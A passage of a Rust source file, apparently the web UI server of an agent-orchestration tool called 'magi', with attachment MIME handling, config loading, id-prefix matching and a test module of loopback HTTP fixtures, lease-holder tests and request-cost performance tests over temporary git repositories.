9952fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
9953    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
9954        Some("image/png")
9955    } else if data.starts_with(b"\xff\xd8\xff") {
9956        Some("image/jpeg")
9957    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
9958        Some("image/gif")
9959    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
9960        Some("image/webp")
9961    } else {
9962        None
9963    }
9964}
9965
9966/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
9967/// display - see [`talk::Attachment::name`]'s doc on why it never
9968/// contributes to a path. A missing or blank header (curl without it, an
9969/// older front end) falls back to a generic name rather than refusing the
9970/// upload over a field that is cosmetic.
9971fn filename_header(headers: &HeaderMap) -> String {
9972    headers
9973        .get(FILENAME_HEADER)
9974        .and_then(|v| v.to_str().ok())
9975        .map(str::trim)
9976        .filter(|s| !s.is_empty())
9977        .unwrap_or("attachment")
9978        .to_owned()
9979}
9980
9981/// Every attachment `GET` response: the mime re-validated against the same
9982/// closed whitelist the upload route enforces - never the string trusted
9983/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
9984/// cannot decide it knows better than the type we send. Unlike a panel asset
9985/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
9986/// document renders inline, not agent-authored HTML in a sandboxed frame.
9987fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
9988    let content_type = ATTACHMENT_MIME_WHITELIST
9989        .iter()
9990        .find(|&&m| m == mime)
9991        .copied()
9992        .unwrap_or("application/octet-stream");
9993    (
9994        [
9995            (header::CONTENT_TYPE, content_type),
9996            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9997        ],
9998        body,
9999    )
10000        .into_response()
10001}
10002
10003/// The configuration for a repository, read off the disk for this request.
10004///
10005/// Through [`blocking`] because discovery reads and merges several TOML files,
10006/// and because the alternative - caching it in [`Ui`] at startup - would mean
10007/// the operator's phone kept interviewing with a roster they had already
10008/// changed, with no way to reload it but restarting the server they are not
10009/// sitting in front of.
10010async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10011    let repo = repo.to_path_buf();
10012    blocking(move || {
10013        let (cfg, _) = Config::discover(&repo, None)?;
10014        Ok(cfg)
10015    })
10016    .await
10017}
10018
10019/// The one prefix rule, used for both runs and tasks: a leading match for a
10020/// full id, a trailing match for the short form an operator reads off a
10021/// report. Written here rather than borrowed from `queue::resolve_id` because
10022/// the UI needs the two failures as different status codes, and telling them
10023/// apart from an error message is not something to build a route on.
10024fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10025    let mut hits = ids
10026        .into_iter()
10027        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10028    match (hits.next(), hits.next()) {
10029        (Some(one), None) => Ok(one),
10030        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10031        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10032            "`{prefix}` matches more than one {what}, including {a} and {b}"
10033        ))),
10034    }
10035}
10036
10037#[cfg(test)]
10038mod tests {
10039
10040    #[test]
10041    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10042        let dir = tempfile::tempdir().unwrap();
10043        let store = ask::Questions::at(dir.path().join("questions"));
10044        let mut q = Question::new(
10045            "task".to_owned(),
10046            "conduct".to_owned(),
10047            "conduct".to_owned(),
10048            "choose".to_owned(),
10049            String::new(),
10050            vec!["keep".to_owned()],
10051        );
10052        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10053        q.say("why?").unwrap();
10054        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10055        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10056        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10057        store.put(&mut q).unwrap();
10058        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10059        assert_eq!(store.count_needs_owner(), 1);
10060        store.beat(&q.id, ask::WaiterKind::Deputy);
10061        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10062        assert_eq!(store.count_needs_owner(), 0);
10063        let mut stale = store.read_lease(&q.id).unwrap();
10064        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10065        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10066        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10067        assert!(view.deputy_exhausted);
10068        assert!(view.waiting_on_agent);
10069        assert_eq!(view.question.choices, ["keep"]);
10070        store.drop_lease(&q.id);
10071        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10072        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10073    }
10074
10075    #[test]
10076    fn holder_reads_the_lease_not_the_record() {
10077        let mut q = Question::new(
10078            "run".to_owned(),
10079            "implement".to_owned(),
10080            "impl-A".to_owned(),
10081            "which?".to_owned(),
10082            String::new(),
10083            Vec::new(),
10084        );
10085        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10086        q.cwd = Some("/tmp".to_owned());
10087        assert_eq!(holder_of(&q, None), Some("nobody"));
10088        let beat = |kind, ago: i64| ask::Lease {
10089            kind,
10090            pid: 1,
10091            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10092                .unwrap(),
10093        };
10094        let fresh = beat(ask::WaiterKind::Asker, 1);
10095        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10096        let daemon = beat(ask::WaiterKind::Daemon, 1);
10097        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10098        let stale = beat(ask::WaiterKind::Asker, 3600);
10099        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10100
10101        // A conductor question says "deputy" only while one is attached and
10102        // alive, and "nobody" - never silence - when nothing ever listened.
10103        let mut c = Question::new(
10104            "task".to_owned(),
10105            crate::conduct::NODE.to_owned(),
10106            "conduct".to_owned(),
10107            "which?".to_owned(),
10108            String::new(),
10109            Vec::new(),
10110        );
10111        assert_eq!(holder_of(&c, None), Some("nobody"));
10112        c.cwd = Some("/tmp".to_owned());
10113        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10114        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10115        let deputy = beat(ask::WaiterKind::Deputy, 1);
10116        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10117        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10118
10119        // A release-watch question: nobody until a deputy is attached.
10120        let mut r = Question::new(
10121            String::new(),
10122            crate::bump::NOTICE_NODE.to_owned(),
10123            "release-watch".to_owned(),
10124            "stuck?".to_owned(),
10125            String::new(),
10126            vec!["hold".to_owned()],
10127        );
10128        assert_eq!(holder_of(&r, None), Some("nobody"));
10129        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10130        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10131        // A choice-less bump notice is nobody's question at all.
10132        r.deputy = None;
10133        r.seat = "bump".to_owned();
10134        assert_eq!(holder_of(&r, None), None);
10135
10136        // A merge approval is the same: nobody until a deputy is attached
10137        // and alive, never a silent "no holder".
10138        let mut m = Question::new(
10139            "run".to_owned(),
10140            crate::land::APPROVAL_NODE.to_owned(),
10141            "land".to_owned(),
10142            "merge?".to_owned(),
10143            String::new(),
10144            Vec::new(),
10145        );
10146        assert_eq!(holder_of(&m, None), Some("nobody"));
10147        assert_eq!(
10148            holder_of(&m, Some(&fresh)),
10149            Some("asker"),
10150            "a live explicit wait is a listener even before a deputy is attached"
10151        );
10152        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10153        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10154        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10155        assert_eq!(holder_of(&m, None), Some("nobody"));
10156    }
10157
10158    fn stub_config() -> Config {
10159        // An explicit roster, so the result never depends on which agent CLIs
10160        // this machine has installed.
10161        Config {
10162            agents: vec![crate::config::AgentSpec {
10163                id: "stub".to_owned(),
10164                kind: AgentKind::Command,
10165                model: None,
10166                command: vec!["true".to_owned()],
10167                extra_args: Vec::new(),
10168                env: Default::default(),
10169                prompt_delivery: None,
10170                max_turn_secs: None,
10171            }],
10172            ..Config::default()
10173        }
10174    }
10175
10176    fn plain_question(seat: &str) -> Question {
10177        Question::new(
10178            String::new(),
10179            "n".to_owned(),
10180            seat.to_owned(),
10181            "s".to_owned(),
10182            String::new(),
10183            Vec::new(),
10184        )
10185    }
10186
10187    #[test]
10188    fn deputies_enabled_follows_the_config() {
10189        let on = stub_config();
10190        assert!(crate::deputy::can_start(Some(&on), ""));
10191        assert!(crate::deputy::can_start(Some(&on), "stub"));
10192        let mut off = on.clone();
10193        off.daemon.max_deputies = 0;
10194        assert!(!crate::deputy::can_start(Some(&off), ""));
10195        let mut empty = on;
10196        empty.agents.clear();
10197        assert!(!crate::deputy::can_start(Some(&empty), ""));
10198        assert!(!crate::deputy::can_start(None, ""));
10199    }
10200
10201    #[test]
10202    fn question_views_load_the_config_once() {
10203        let dir = TempDir::new().unwrap();
10204        let store = ask::Questions::at(dir.path().to_path_buf());
10205        let mut with_deputy = plain_question("b");
10206        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10207        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10208
10209        let calls = std::cell::Cell::new(0usize);
10210        let views = question_views(qs.clone(), &store, || {
10211            calls.set(calls.get() + 1);
10212            Some(stub_config())
10213        });
10214        assert_eq!(calls.get(), 1);
10215        assert_eq!(views.len(), 3);
10216        for (v, q) in views.iter().zip(&qs) {
10217            assert_eq!(
10218                v.deputies_enabled,
10219                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10220            );
10221        }
10222
10223        let views = question_views(qs, &store, || None);
10224        assert!(views.iter().all(|v| !v.deputies_enabled));
10225
10226        let calls = std::cell::Cell::new(0usize);
10227        let views = question_views(Vec::new(), &store, || {
10228            calls.set(calls.get() + 1);
10229            None
10230        });
10231        assert!(views.is_empty());
10232        assert_eq!(calls.get(), 0);
10233    }
10234
10235    use pretty_assertions::assert_eq;
10236    use serde_json::Value;
10237    use tempfile::TempDir;
10238    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10239
10240    use super::*;
10241    use crate::config::Config;
10242    use crate::queue::Source;
10243
10244    /// How many 10ms steps a settle loop takes before it calls a stall a
10245    /// stall - thirty seconds.
10246    ///
10247    /// These loops wait on real `sh` subprocesses, and the machine that runs
10248    /// the gate runs several suites at once, so a two-second budget was not
10249    /// waiting for the reply, it was racing the scheduler: two of these
10250    /// tests failed under that load with the turn simply not landed yet.
10251    /// This is a hang guard, not a latency assertion - every loop breaks the
10252    /// moment its condition holds, so a generous cap costs an idle machine
10253    /// nothing and still fails a genuine hang instead of hanging the suite.
10254    const SETTLE_STEPS: usize = 3_000;
10255
10256    /// A home with a queue and a runs directory, and a router serving it on
10257    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
10258    /// dependency, not ours - so the tests drive a real socket, which has the
10259    /// side benefit of asserting the status line and content types the phone
10260    /// actually receives.
10261    struct Fixture {
10262        home: TempDir,
10263        addr: SocketAddr,
10264    }
10265
10266    impl Fixture {
10267        async fn start() -> Self {
10268            Self::with_loop(launch_idle).await
10269        }
10270
10271        /// A fixture whose loop is `launch`.
10272        async fn with_loop(launch: Launch) -> Self {
10273            let home = TempDir::new().expect("temp home");
10274            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10275            Self { home, addr }
10276        }
10277
10278        /// A fixture whose `ui.repo` is a real directory rather than the
10279        /// usual placeholder - for the routes that read config off it
10280        /// (`GET /api/repos`) and would otherwise have nothing to discover.
10281        async fn with_repo(repo: PathBuf) -> Self {
10282            let home = TempDir::new().expect("temp home");
10283            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10284            Self { home, addr }
10285        }
10286
10287        /// As [`Fixture::with_repo`], with the machine-config file the
10288        /// settings screen reads and writes.
10289        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10290            let home = TempDir::new().expect("temp home");
10291            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10292            Self { home, addr }
10293        }
10294
10295        async fn serve(
10296            home: &FsPath,
10297            repo: PathBuf,
10298            launch: Launch,
10299            machine: Option<PathBuf>,
10300        ) -> SocketAddr {
10301            let queue = Queue::at(home.join("queue"));
10302            let runs = home.join("runs");
10303            std::fs::create_dir_all(&runs).expect("runs dir");
10304            let worktrees = home.join("wt").join("magi");
10305            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10306            let ui = Ui::new(
10307                queue,
10308                Questions::at(home.join("questions")),
10309                Talks::at(home.join("talks")),
10310                runs,
10311                home.to_path_buf(),
10312                repo,
10313            )
10314            .with_worktrees_root(worktrees)
10315            .with_machine_config(machine)
10316            .with_launch(launch);
10317            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10318                .await
10319                .expect("bind loopback");
10320            let addr = listener.local_addr().expect("local addr");
10321            tokio::spawn(async move {
10322                let router = ui
10323                    .router()
10324                    .layer(axum::middleware::from_fn(request_cost::observe));
10325                let _ = axum::serve(listener, router).await;
10326            });
10327            addr
10328        }
10329
10330        fn queue(&self) -> Queue {
10331            Queue::at(self.home.path().join("queue"))
10332        }
10333
10334        fn questions(&self) -> Questions {
10335            Questions::at(self.home.path().join("questions"))
10336        }
10337
10338        fn talks(&self) -> Talks {
10339            Talks::at(self.home.path().join("talks"))
10340        }
10341
10342        fn runs(&self) -> PathBuf {
10343            self.home.path().join("runs")
10344        }
10345
10346        async fn get(&self, path: &str) -> Res {
10347            request(self.addr, "GET", path, None).await
10348        }
10349
10350        /// The status and headers without the body, which is how the front end
10351        /// preflights a panel: a sandboxed frame is opaque to the parent
10352        /// document, so the only way to tell "no panel" from "a panel that
10353        /// rendered blank" is to ask before mounting.
10354        async fn head(&self, path: &str) -> Res {
10355            request(self.addr, "HEAD", path, None).await
10356        }
10357
10358        async fn post(&self, path: &str, body: Option<&str>) -> Res {
10359            request(self.addr, "POST", path, body).await
10360        }
10361
10362        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10363            request_with(self.addr, "GET", path, None, extra).await
10364        }
10365
10366        async fn delete(&self, path: &str) -> Res {
10367            request(self.addr, "DELETE", path, None).await
10368        }
10369
10370        async fn put(&self, path: &str, body: &str) -> Res {
10371            request(self.addr, "PUT", path, Some(body)).await
10372        }
10373
10374        /// `POST` a raw body with its own headers - see [`request_bytes`].
10375        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10376            request_bytes(self.addr, path, headers, body).await
10377        }
10378    }
10379
10380    /// Real tracking refs exercise the successful discovery path (including
10381    /// extraction), rather than counting cheap failures on a placeholder repo.
10382    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10383        let tmp = TempDir::new().unwrap();
10384        let mut repos = Vec::new();
10385        for name in ["one", "two"] {
10386            let repo = tmp.path().join(name);
10387            let origin = tmp.path().join(format!("{name}.git"));
10388            std::fs::create_dir_all(&repo).unwrap();
10389            crate::git::git(&repo, &["init", "-b", "main"])
10390                .await
10391                .unwrap();
10392            std::fs::write(
10393                repo.join("magi.toml"),
10394                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
10395            )
10396            .unwrap();
10397            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
10398            crate::git::git(
10399                &repo,
10400                &[
10401                    "-c",
10402                    "user.name=fixture",
10403                    "-c",
10404                    "user.email=fixture@example.invalid",
10405                    "commit",
10406                    "-m",
10407                    "fixture",
10408                ],
10409            )
10410            .await
10411            .unwrap();
10412            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
10413                .await
10414                .unwrap();
10415            crate::git::git(
10416                &repo,
10417                &["remote", "add", "origin", origin.to_str().unwrap()],
10418            )
10419            .await
10420            .unwrap();
10421            crate::git::git(&repo, &["push", "origin", "main"])
10422                .await
10423                .unwrap();
10424            crate::git::git(
10425                &repo,
10426                &[
10427                    "symbolic-ref",
10428                    "refs/remotes/origin/HEAD",
10429                    "refs/remotes/origin/main",
10430                ],
10431            )
10432            .await
10433            .unwrap();
10434            let (cfg, _) = Config::discover(&repo, None).unwrap();
10435            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
10436            repos.push(repo);
10437        }
10438        let repos: [PathBuf; 2] = repos.try_into().unwrap();
10439        (tmp, repos)
10440    }
10441
10442    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
10443        let (tmp, repos) = performance_repositories().await;
10444        let machine = tmp.path().join("machine.toml");
10445        std::fs::write(&machine, "").unwrap();
10446        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
10447        (tmp, repos, fx)
10448    }
10449
10450    fn seed_performance(
10451        fx: &Fixture,
10452        repos: &[PathBuf; 2],
10453        questions: usize,
10454        runs: usize,
10455        items: usize,
10456    ) {
10457        // Saving states directly never starts a run or changes MAGI_HOME.
10458        for i in fx.questions().list().len()..questions {
10459            let mut question = Question::new(
10460                "20261001-000000-0000".into(),
10461                "implement".into(),
10462                "impl-A".into(),
10463                format!("question {i}"),
10464                "context".into(),
10465                vec!["yes".into(), "no".into()],
10466            );
10467            question.id = format!("20261003-000000-{i:04x}");
10468            fx.questions().put(&mut question).unwrap();
10469        }
10470        for i in run_ids(&fx.runs()).len()..runs {
10471            write_run_repo(
10472                &fx.runs(),
10473                &format!("20261001-000000-{i:04x}"),
10474                RunStatus::Ready,
10475                repos[i % 2].to_str().unwrap(),
10476            );
10477        }
10478        for i in fx.talks().list().len()..items {
10479            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
10480            let mut talk = fx.talks().get(&id).unwrap();
10481            talk.repo = repos[i % 2].clone();
10482            fx.talks().put(&mut talk).unwrap();
10483            let mut task = crate::queue::Task::new(
10484                format!("task {i}"),
10485                "instruction".into(),
10486                repos[i % 2].clone(),
10487                crate::queue::Source::Agent {
10488                    run: id,
10489                    node: crate::queue::CHAT_NODE.into(),
10490                },
10491            );
10492            task.id = format!("20261004-000000-{i:04x}");
10493            fx.queue().put(&mut task).unwrap();
10494            // Notices has a production retention cap; seed up to that cap.
10495            if i < crate::notices::CAP {
10496                Notices::at(fx.home.path().join("notifications"))
10497                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
10498                    .unwrap();
10499            }
10500        }
10501        assert_eq!(fx.questions().list().len(), questions);
10502        assert_eq!(run_ids(&fx.runs()).len(), runs);
10503        assert_eq!(fx.talks().list().len(), items);
10504        assert_eq!(fx.queue().list().len(), items);
10505        assert_eq!(
10506            Notices::at(fx.home.path().join("notifications"))
10507                .list()
10508                .len(),
10509            items.min(crate::notices::CAP)
10510        );
10511    }
10512
10513    fn request_counts(res: &Res) -> (usize, usize) {
10514        assert_eq!(res.status, 200, "{}", res.body);
10515        (
10516            res.header("x-test-discoveries").unwrap().parse().unwrap(),
10517            res.header("x-test-git").unwrap().parse().unwrap(),
10518        )
10519    }
10520
10521    #[tokio::test]
10522    async fn list_request_cost_is_independent_of_record_count() {
10523        let (_tmp, repos, fx) = performance_fixture().await;
10524        let mut previous = None;
10525        for n in [4, 60] {
10526            seed_performance(&fx, &repos, n, n, n);
10527            let mut costs = Vec::new();
10528            for (path, discoveries) in [
10529                ("/api/questions", 1),
10530                ("/api/talks", 2),
10531                ("/api/health", 1),
10532                ("/api/stats", 1),
10533            ] {
10534                // Equal cold extraction caches at both scales; this also
10535                // bounds first-request cost instead of only warmed requests.
10536                for repo in &repos {
10537                    let cache = repo.join(".git/magi/config");
10538                    if cache.exists() {
10539                        std::fs::remove_dir_all(cache).unwrap();
10540                    }
10541                }
10542                let cost = request_counts(&fx.get(path).await);
10543                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
10544                assert_eq!(cost.0, discoveries, "{path}, N={n}");
10545                assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
10546                costs.push(cost);
10547            }
10548            if let Some(previous) = previous {
10549                assert_eq!(costs, previous);
10550            }
10551            previous = Some(costs);
10552        }
10553        // runs reads shared row inputs and probes process liveness; queue
10554        // builds one blocker inventory; notifications reads its own store.
10555        // None discovers configuration or spawns git per item.
10556    }
10557
10558    /// The same handler path without transport, so the deterministic cause
10559    /// can also be checked in environments that prohibit binding sockets.
10560    #[tokio::test]
10561    async fn list_handler_cost_without_transport() {
10562        let (_tmp, repos) = performance_repositories().await;
10563        let fx = Fixture {
10564            home: TempDir::new().unwrap(),
10565            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10566        };
10567        let ui = Arc::new(
10568            Ui::new(
10569                fx.queue(),
10570                fx.questions(),
10571                fx.talks(),
10572                fx.runs(),
10573                fx.home.path().to_path_buf(),
10574                repos[0].clone(),
10575            )
10576            .with_worktrees_root(fx.home.path().join("wt")),
10577        );
10578        let mut previous = None;
10579        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
10580            seed_performance(&fx, &repos, n, runs, items);
10581            let mut costs = Vec::new();
10582            for endpoint in ["questions", "talks", "health", "stats"] {
10583                for repo in &repos {
10584                    let cache = repo.join(".git/magi/config");
10585                    if cache.exists() {
10586                        std::fs::remove_dir_all(cache).unwrap();
10587                    }
10588                }
10589                let (_, cost) = request_cost::measure(async {
10590                    match endpoint {
10591                        "questions" => {
10592                            let _ = questions_list(State(ui.clone())).await.unwrap();
10593                        }
10594                        "talks" => {
10595                            let _ = talks_list(
10596                                State(ui.clone()),
10597                                Query(ListQuery {
10598                                    limit: None,
10599                                    ids: None,
10600                                }),
10601                            )
10602                            .await
10603                            .unwrap();
10604                        }
10605                        "health" => {
10606                            let _ = health(State(ui.clone())).await.unwrap();
10607                        }
10608                        _ => {
10609                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
10610                                .await
10611                                .unwrap();
10612                        }
10613                    }
10614                })
10615                .await;
10616                eprintln!("{endpoint} handler N={n}: {cost:?}");
10617                assert_eq!(
10618                    cost.0,
10619                    if endpoint == "talks" { 2 } else { 1 },
10620                    "{endpoint}"
10621                );
10622                assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
10623                costs.push(cost);
10624            }
10625            if let Some(previous) = previous {
10626                assert_eq!(costs, previous);
10627            }
10628            previous = Some(costs);
10629        }
10630    }
10631
10632    #[tokio::test]
10633    async fn list_request_cost_scopes_do_not_mix() {
10634        let (_tmp, repos, fx) = performance_fixture().await;
10635        seed_performance(&fx, &repos, 10, 0, 10);
10636        let (questions, talks, notices) = tokio::join!(
10637            fx.get("/api/questions"),
10638            fx.get("/api/talks"),
10639            fx.get("/api/notifications")
10640        );
10641        assert_eq!(request_counts(&questions).0, 1);
10642        assert_eq!(request_counts(&talks).0, 2);
10643        assert_eq!(request_counts(&notices), (0, 0));
10644    }
10645
10646    #[tokio::test]
10647    async fn list_endpoints_large_home_ceiling() {
10648        let (_tmp, repos, fx) = performance_fixture().await;
10649        seed_performance(&fx, &repos, 200, 300, 400);
10650        let mut failures = Vec::new();
10651        // app.js boot/change loads plus the initial dashboard, settings and
10652        // repo picker. SSE is a persistent stream, not a bounded GET.
10653        for path in [
10654            "/",
10655            "/app.js",
10656            "/app.css",
10657            "/api/questions",
10658            "/api/runs?limit=300",
10659            "/api/queue",
10660            "/api/talks",
10661            "/api/notifications",
10662            "/api/health",
10663            "/api/stats",
10664            "/api/loop",
10665            "/api/settings",
10666            "/api/repos",
10667        ] {
10668            let start = std::time::Instant::now();
10669            let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
10670            let elapsed = start.elapsed();
10671            eprintln!("{path}: {elapsed:?}");
10672            match result {
10673                Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
10674                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
10675                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
10676            }
10677        }
10678        assert!(failures.is_empty(), "{}", failures.join("\n"));
10679    }
10680
10681    struct Res {
10682        status: u16,
10683        headers: String,
10684        /// The header block with its original casing, for the assertions that
10685        /// compare a header *value* rather than looking for a name. Lowercasing
10686        /// a CSP would hide a directive spelled with a capital letter, and the
10687        /// whole point of that test is that the string is exactly right.
10688        head: String,
10689        body: String,
10690        /// The body before any UTF-8 handling, for the routes that serve
10691        /// something other than text. A panel asset is a PNG as often as not,
10692        /// and `from_utf8_lossy` would silently replace half of it.
10693        bytes: Vec<u8>,
10694    }
10695
10696    impl Res {
10697        fn json(&self) -> Value {
10698            serde_json::from_str(&self.body)
10699                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
10700        }
10701
10702        /// One header's value verbatim, or `None` when it was not sent.
10703        fn header(&self, name: &str) -> Option<&str> {
10704            self.head.lines().find_map(|line| {
10705                let (key, value) = line.split_once(':')?;
10706                key.trim()
10707                    .eq_ignore_ascii_case(name)
10708                    .then(|| value.trim_start().trim_end_matches('\r'))
10709            })
10710        }
10711    }
10712
10713    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
10714    /// be read to end-of-stream without parsing framing.
10715    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
10716        request_with(addr, method, path, body, &[]).await
10717    }
10718
10719    /// As [`request`], with extra request headers - conditional GETs need
10720    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
10721    /// worse than one that sets none.
10722    async fn request_with(
10723        addr: SocketAddr,
10724        method: &str,
10725        path: &str,
10726        body: Option<&str>,
10727        extra: &[(&str, &str)],
10728    ) -> Res {
10729        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10730        for (name, value) in extra {
10731            head.push_str(&format!("{name}: {value}\r\n"));
10732        }
10733        if let Some(body) = body {
10734            head.push_str("Content-Type: application/json\r\n");
10735            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
10736        }
10737        head.push_str("\r\n");
10738        if let Some(body) = body {
10739            head.push_str(body);
10740        }
10741        let mut socket = tokio::net::TcpStream::connect(addr)
10742            .await
10743            .expect("connect to the test server");
10744        socket
10745            .write_all(head.as_bytes())
10746            .await
10747            .expect("write request");
10748        let mut raw = Vec::new();
10749        socket.read_to_end(&mut raw).await.expect("read response");
10750        // Split on the raw bytes rather than on a lossy string, so a binary
10751        // body survives to be compared byte for byte.
10752        let split = raw
10753            .windows(4)
10754            .position(|w| w == b"\r\n\r\n")
10755            .expect("a header block");
10756        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10757        let bytes = raw[split + 4..].to_vec();
10758        let status = head
10759            .lines()
10760            .next()
10761            .and_then(|line| line.split_whitespace().nth(1))
10762            .and_then(|code| code.parse().ok())
10763            .expect("a status line");
10764        Res {
10765            status,
10766            headers: head.to_lowercase(),
10767            head,
10768            body: String::from_utf8_lossy(&bytes).into_owned(),
10769            bytes,
10770        }
10771    }
10772
10773    /// A `POST` carrying a raw binary body and its own headers, for the
10774    /// attachment upload route - `request_with` only ever sends
10775    /// `Content-Type: application/json`, which is wrong for an image and
10776    /// would corrupt anything not valid UTF-8 by round-tripping it through
10777    /// `&str` first.
10778    async fn request_bytes(
10779        addr: SocketAddr,
10780        path: &str,
10781        headers: &[(&str, &str)],
10782        body: &[u8],
10783    ) -> Res {
10784        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10785        for (name, value) in headers {
10786            head.push_str(&format!("{name}: {value}\r\n"));
10787        }
10788        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
10789        let mut socket = tokio::net::TcpStream::connect(addr)
10790            .await
10791            .expect("connect to the test server");
10792        socket
10793            .write_all(head.as_bytes())
10794            .await
10795            .expect("write request head");
10796        socket.write_all(body).await.expect("write request body");
10797        let mut raw = Vec::new();
10798        socket.read_to_end(&mut raw).await.expect("read response");
10799        let split = raw
10800            .windows(4)
10801            .position(|w| w == b"\r\n\r\n")
10802            .expect("a header block");
10803        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10804        let bytes = raw[split + 4..].to_vec();
10805        let status = head
10806            .lines()
10807            .next()
10808            .and_then(|line| line.split_whitespace().nth(1))
10809            .and_then(|code| code.parse().ok())
10810            .expect("a status line");
10811        Res {
10812            status,
10813            headers: head.to_lowercase(),
10814            head,
10815            body: String::from_utf8_lossy(&bytes).into_owned(),
10816            bytes,
10817        }
10818    }
10819
10820    /// A run on disk, without touching the process-global magi home.
10821    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
10822        let mut state = RunState::new(
10823            PathBuf::from("/repo/magi"),
10824            "main".to_owned(),
10825            "0123456789abcdef".to_owned(),
10826            "Add a web UI\n\nMobile first.".to_owned(),
10827            Config::default(),
10828        );
10829        state.id = id.to_owned();
10830        state.status = status;
10831        let dir = runs.join(id);
10832        std::fs::create_dir_all(&dir).expect("run dir");
10833        std::fs::write(
10834            dir.join("run.json"),
10835            serde_json::to_string_pretty(&state).expect("serialize run"),
10836        )
10837        .expect("write run.json");
10838    }
10839
10840    /// Same as [`write_run`], but against a named repository rather than the
10841    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
10842    /// spread across more than one.
10843    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
10844        let mut state = RunState::new(
10845            PathBuf::from(repo),
10846            "main".to_owned(),
